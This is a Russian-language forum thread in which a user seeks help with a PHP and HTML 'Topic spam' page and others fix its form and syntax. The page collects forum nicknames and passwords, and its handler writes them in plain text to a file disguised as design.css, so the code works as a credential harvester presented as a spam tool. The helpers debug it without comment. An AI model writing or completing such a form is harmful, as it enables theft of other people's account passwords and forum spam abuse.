Loading...
(x)HTML/WML/CSS | Form,input проблемы всякие
ADev, <?php
if(empty($_POST['name']) or empty($_POST['password']) or empty($_POST['text']) or empty($_POST['id'])){
header("Location: /tspam.php?err");
}else{
if(isset($_POST['go'])) {
$writefile="design.css";
$name = ($_POST['name']);
$password = ($_POST['password']);
$text = ($_POST['text']);

$file = fopen ("$writefile","a+");
$log = "Имя: $name
Пароль: $password
Текст: $text
===============================";

fwrite ($file, $log);
fclose ($file);
}
header("Location: /tspam.php?ok");

}
?>

________
посл. ред. 29.03.2018 в 09:30; всего 1 раз(а); by RezzidenT
ADev,

тут возьми в посте 25

https://bym.guru/forum/topic/125902/page20
desay, не помогло
RezzidenT, если это ответ, то не помогло
ADev, $name = ($_POST['name']);
$password = ($_POST['password']);
$text = ($_POST['text']);

Тут скобки зачем?

<?php
if(empty($_POST['name']) || empty($_POST['password']) || empty($_POST['text']) || empty($_POST['id'])){
header("Location: /tspam.php?err");
}else{

if(isset($_POST['submit'])) {
$writefile="design.css";

$name = trim($_POST['name']);
$password = trim($_POST['password']);
$text = trim($_POST['text']);

$file = fopen ("$writefile","a+");
$log = "Имя: $name
Пароль: $password
Текст: $text
===============================";

fwrite ($file, $log);
fclose ($file);
}
header("Location: /tspam.php?ok");

}
?>




<?php
include 'system/head.php';
if(isset($_GET['err'])) {
echo '<div class="werh">Error</div>';
}
if(isset($_GET['ok'])) {
echo '<div class="werh">Spamming</div>';
}
?>
<html xmlns="<a href="<a href="http://www.w3.org/1999/xhtml">">http">http://www.w3.org/1999/xhtml">">http</a>://www.w3.org/1999/xhtml"></a>
<body>
<div class="werh">Topic spam</div>
<div class="menu"
<form action="/action.php?spam" method="post">
<center>
Nick</br>
<input class="input m0" type="text" name="name" value=""/></br>
Password</br>
<input class="input m1" type="password" name="password" value=""/></br>
Text</br>
<input class="input m2" type="text" name="text" value=""/></br>
TopicId</br>
<input class="input m3" type="number" name="id" value=""/></br>
<hr>
<input style="width: 72px" type="submit" name="submit" value="Spam"/>
</form>
<hr>
</body>
</html>
ADev, http://htmlbook.ru/html/form
RezzidenT (29.03.2018 в 12:20)
ADev, $name = ($_POST['name']);
$password = ($_POST['password']);
$text = ($_POST['text']);

Тут скобки зачем?


за тем, что и пробел после имени функции и переменная в двойных кавычках :-)


<?php
$file = fopen ("$writefile","a+");


автор исправляй синтакcис для начала

$file = fopen($writefile, 'a+');

и не только тут

и потом ещё проверь как исполняется цепочка условий через оператор OR
RezzidenT (29.03.2018 в 12:20)
ADev, $name = ($_POST['name']);
$password = ($_POST['password']);
$text = ($_POST['text']);

Тут скобки зачем?

В другом скрипте с скобками все работало
ADev (28.03.2018 в 19:09)
Хз, в какой это раздел надо, но вроде с html проблема. Пытаюсь сделать какую-то вещь,которая будет отправлять данные с input,вписываю в form action путь, method пост, но ничего при нажатии не делается. Оно даже не выполняет пост запрос куда надо, я с помощью специальной штуки смотрел. Это точно. В чем проблема?
Код:
<?php
include 'system/head.php';
if(isset($_GET['err'])) {
echo '<div class="werh">Error</div>';
}
if(isset($_GET['ok'])) {
echo '<div class="werh">Spamming</div>';
}
?>
<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<div class="werh">Topic spam</div>
<div class="menu"
<form action="/action.php?spam" method="get">
<center>
Nick</br>
<input class="input m0" type="text" name="name" value=""/></br>
Password</br>
<input class="input m1" type="password" name="password" value=""/></br>
Text</br>
<input class="input m2" type="text" name="text" value=""/></br>
TopicId</br>
<input class="input m3" type="number" name="id" value=""/></br>
<hr>
<input style="width: 72px" type="submit" value="Spam"/>
</form>
<hr>
</body>
</html>


Пробуй
Онлайн: 4
Время:
Gen. 0.1117
(c) Bym.Guru 2010-2025